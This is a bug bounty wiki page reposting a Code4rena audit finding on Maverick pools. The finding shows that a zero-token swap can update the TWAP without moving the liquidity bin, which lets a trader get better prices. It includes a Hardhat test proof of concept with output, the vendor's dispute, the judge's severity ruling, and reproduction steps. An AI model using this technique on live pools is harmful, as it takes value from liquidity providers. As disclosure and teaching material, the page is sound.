Skip to content
Business logic Audit finding Advanced

Trader can manipulate price because bin only moved after swap

The liquidity bin in a Maverick pool is only moved after a swap, so if the pool is inactive the bin stays in the wrong position. A trader can perform a zero-token swap to update the time-weighted average price and prevent bin movement, then trade at a better price.

gzeon Follow

Originally disclosed on Code4rena

Submitted by gzeon

In Maverick, liquidity bin is only moved after a swap:

Pool.sol#L305-L306

        emit Swap(msg.sender, recipient, tokenAIn, exactOutput, amountIn, amountOut, currentState.activeTick);
        _moveBins(currentState.activeTick, startingTick, lastTwa);

If the pool does not have a lot of activity (which is very common for newer DEX / tail asset), the bin will not be moved to the expected position.

Trader will have a free option to manipulate price in their favor.

Proof of Concept

Adding this test case to ./maverick-v1/test/models/Pool.ts

    describe.only("when the twap moves and there are bins that can be moved", () => {
      beforeEach(async () => {
        await testPool.addLiquidity(1, [
          {
            kind: 1,
            isDelta: true,
            pos: 0,
            deltaA: floatToFixed(3),
            deltaB: floatToFixed(3),
          },
          {
            kind: 1,
            isDelta: true,
            pos: 2,
            deltaA: floatToFixed(3),
            deltaB: floatToFixed(3),
          },
          {
            kind: 1,
            isDelta: true,
            pos: 10,
            deltaA: floatToFixed(0),
            deltaB: floatToFixed(10),
          },
        ]);
      });

    it("+10, 0, -10", async () => {
      await testPool.swap(
        await owner.getAddress(),
        floatToFixed(10),
        true,
        false
      );
      await ethers.provider.send("evm_increaseTime", [3600]);
      await ethers.provider.send("evm_mine", []);
      await testPool.swap(
        await owner.getAddress(),
        floatToFixed(0),
        false,
        true
      );
      await testPool.swap(
        await owner.getAddress(),
        floatToFixed(10),
        false,
        true
      );
      const afterTokenABalance = fixedToFloat(
        await tokenA.balanceOf(await owner.getAddress())
      );
      const afterTokenBBalance = fixedToFloat(
        await tokenB.balanceOf(await owner.getAddress())
      );
      console.log(afterTokenABalance, afterTokenBBalance);
    });
    it("+10, -10", async () => {
      await testPool.swap(
        await owner.getAddress(),
        floatToFixed(10),
        true,
        false
      );
      await ethers.provider.send("evm_increaseTime", [3600]);
      await ethers.provider.send("evm_mine", []);
      await testPool.swap(
        await owner.getAddress(),
        floatToFixed(10),
        false,
        true
      );
      const afterTokenABalance = fixedToFloat(
        await tokenA.balanceOf(await owner.getAddress())
      );
      const afterTokenBBalance = fixedToFloat(
        await tokenB.balanceOf(await owner.getAddress())
      );
      console.log(afterTokenABalance, afterTokenBBalance);
    });
  });
  Pool
    #swap
      when the twap moves and there are bins that can be moved
99999999997 99999999987.17587
        ✓ +10, 0, -10
99999999997 99999999983.95761
        ✓ +10, -10

In the 1st test, the trader buys 10 tokens, waits an hour, sells 0 tokens (to update bin), sells 10 tokens.

In the 2nd test, the trader buys 10 tokens, waits an hour, sells 10 tokens.

As shown, if the trader executes a 0 token trade in between, he will receive many more tokens.

On the other hand, if the trader is trying to buy more tokens, he can get a better price if the bin is not updated.

Recommended Mitigation Steps

Move the bin at the beginning of a swap after updating twap.

gte620v (Maverick) disputed and commented:

This is not a bug and we address exactly this case in the whitepaper:

With aggregators, and arbs, it will be very hard for an attacker to depend on arbs not seeing the price shift the attacker created. When an arb sees this price shift, he will immediately exploit it and bring the pool price back down to market.

In that case, the attacker is just buying tokens at severely overpriced values without executing any attack.

kirk-baird (judge) decreased severity to Medium and commented:

To state my understanding of this issue, if there is a swap which is the first of the block a trader may submit a null swap first to update the TWAP and therefore prevent further bin movement. Then submit the genuine swap at a slightly better price.

This is beneficial to the trader only if the price movement is in the reverse direction of the previous price movement and over a bin boundary.

To me this sounds like an edge case that is beneficial to the trader over LPs however it has a niche set of requirements to be exploited and the price is only marginally improved. So I consider this to be a Medium issue.

Note: for full discussion regarding this finding, please see the warden’s original submission.


The original report as published on Code4rena, by gzeon. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the bin is moved only after the swap logic, so a zero-amount swap can update the time-weighted average price without moving the bin, leaving it stale for the next trade.

Impact

A trader could get a better price at the expense of liquidity providers, but the project disputed this as not a bug and the judge rated it Medium because it only works in a niche case with marginal price improvement.

What the attacker needed

Pool with low activity; trader can submit a zero-token swap; price movement over a bin boundary

The fix

The bin should be moved at the beginning of a swap after updating the time-weighted average price.

How it was found

  1. Add liquidity to the pool in several bins.
  2. Buy 10 tokens with a swap.
  3. Wait one hour and mine a block.
  4. Sell 0 tokens to update the bin without moving it.
  5. Sell 10 tokens and observe a higher token balance than without the zero-token trade.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In some automated market makers, the price range where trades happen (the 'bin') is only updated after a trade. If nobody has traded for a while, the bin can be out of date. The report shows a trader can make a tiny trade that updates the price history but not the bin, then trade again to get a better deal than they should.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by gzeon

View all

46 more disclosed reports, best first.

More from Maverick contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.